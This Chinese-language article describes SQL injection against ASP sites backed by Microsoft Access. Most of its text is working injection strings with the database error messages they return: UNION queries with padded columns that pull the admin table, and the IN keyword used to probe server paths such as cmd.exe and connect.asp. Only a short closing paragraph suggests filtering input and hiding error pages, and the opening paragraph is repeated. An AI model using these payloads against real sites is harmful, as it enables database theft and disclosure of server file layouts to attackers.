安全警报：针对Access漏洞又一发现

如今SQL injection可谓是火爆，诸多新的Injection方式被挖掘出来。利用系统错误来爆路径，更是热门话题，今天我也凑个热闹。 本例测试适用于ACCESS（由于MS SQL查询不存在指定路径），ACEESS存在一个可以把源数据库的表导入到目标数据库中。 如： mysource.md

如今SQL injection可谓是火爆，诸多新的Injection方式被挖掘出来。利用系统错误来爆路径，更是热门话题，今天我也凑个热闹。

本例测试适用于ACCESS（由于MS SQL查询不存在指定路径），ACEESS存在一个可以把源数据库的表导入到目标数据库中。

如： mysource.mdb(admin表) ―〉mydestion.mdb中

如果要在一个已经存在的外部数据库里创建新的工作表，你可以用IN关键字。如果外部数据库不存在或是数据表已存在的话，SELECT INTO 语句将会返回一个错误信息。

SELECT * INTO tblNewCustomers IN 'C:\Customers.mdb' FROM tblCustomers。

左右推揣是不是能用子查询功能应用把它变成：

一般有漏洞语句,如select * from news where id="&request("id"),存在注射的。以下的演示就用一套使用select * from news whre id=”&request(“id”)来作测试。为了方便，直接转换为SQL执行时的状态：

select * from news where id=3 and SELECT * INTO tblNewCustomers IN 'C:\Customers.mdb' FROM tblCustomers

经测试是不能在子查询实现导表的功能的。这条路又被档住了。突然之间想到了UNION,合并操作符，看看是否能用它。

注：The UNION operator（适用ACCEESS）

虽然UNION 的操作也可以视为一个合并查询，但我们不可以技术性地把它看作是一个联接，它之所以被提到是因为它能把从多个来源获得的数据合成一个结果表单中，而这一点和某些类型的联接是类似的。UNION 操作一般被用来把来自表单、SELECT语句或查询的数据结合，并省略掉任何重复的行。所有的数据源必须有相同数目的域，不过这些域不一定要是相同的数据类型。让我们假设我们有一个雇员表单，其中具有和顾客工作表单相同的结构，那么我们希望合并这两个工作表得到一个姓名和电子邮件地址信息的列表。

SELECT [Last Name], [First Name], Email FROM tblCustomers UNION SELECT [Last Name], [First Name], Email FROM tblEmployees

UNION操作不会显示任何在两个表单中重复出现的记录。利用UNION 的查询语句一定要与UNION前的查询语句字段列相等，如：

select id,title from news where id=3 UNION select * from admin

查询的字段不等，返回：

Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005' [Microsoft][ODBC Microsoft Access Driver] 在联合查询中所选定的两个数据表或查询中的列数不匹配。

查询语句可用避过: select id,title from news where id=3 UNION select 1,1 from admin 只要放入的1的个数与字段相等，也可实现查询。

看看是否能够把语句变成：

select * from news where id=3 Union SELECT * INTO tblNewCustomers IN 'C:\Customers.mdb' FROM tblCustomers

返回：

Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005' [Microsoft][ODBC Microsoft Access Driver] 动作查询不能作为行的来源。

结果，还是失败的。因为UNION只适用查询结合。UNION后面不能跟动作。可能这条路走不通了，想想还是不甘心。

试着用：

se

lect * from news where id=3 Union select * from admin.c

返回：

Microsoft JET Database Engine 错误 '80004005' 找不到文件 'C:\WINNT\system32\admin.mdb'。

这证明和用select * from news where id=3 and 0<>(select count(*) from admin.c)是一样可以成功测试路径的。但是想想用这种方法ACCESS始终默认检测后缀MDB，虽然用以上有办法避过。便是过于麻烦。

于是我在想是不是用其他的方法可以更简单的实现，回头想起了刚才SELECT * INTO tblNewCustomers IN 'C:\Customers.mdb' FROM tblCustomers。IN关键字不是可以指向路径文件名吗?是否可以把它归为已用。

接着测试：

select * from news where id=3 union select * from admin in 'c:\Customers.mdb'

系统提示：

Microsoft JET Database Engine 错误 '80004005' 找不到文件 'c:\Customers.mdb'。

使用：

select * from news where id=3 union select * from admin in 'c:\winnt\system32\cmd.exe'

系统提示：

Microsoft JET Database Engine 错误 '80004005' Microsoft Jet 数据库引擎打不开文件'c:\winnt\system32\CMD.EXE'。 它已经被别的用户以独占方式打开，或没有查看数据的权限。

这种方式的实现比起用 and 0<>(select count(*) from admin)查询的结来得更为简明了,而且猜测的是MDB后缀的文件，猜测的路径和文件名正确的，信息会正常显示。但如果是猜测非MDB的文件则是这样的：

执行：

select * from news where id=3 union select * from admin in 'e:\www\include\connect.asp'

返回：

Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005' [Microsoft][ODBC Microsoft Access Driver] 不可识别的数据库格式 'e:\www\include\connect.asp'

证明所猜测的路径和文件是正确的。

后话，由于ACCESS本身的缺陷，至使SQL INJECTION的方式层出不穷。但很大一方面是由于程序员在书写程序的时候，不注意防范，防弊大意。针对有传值的SQL语进行详细的过滤，起码也是阻挡SQL INJECTION的一道门，ACCESS本身的缺陷解使，很多法语洞防不胜防，建议服务器出错信息，创建一个自己的WEB信息出错面面，服务器出错就出现那页面。这样一来就没有参考的出错信息了，仅于些文当作参考。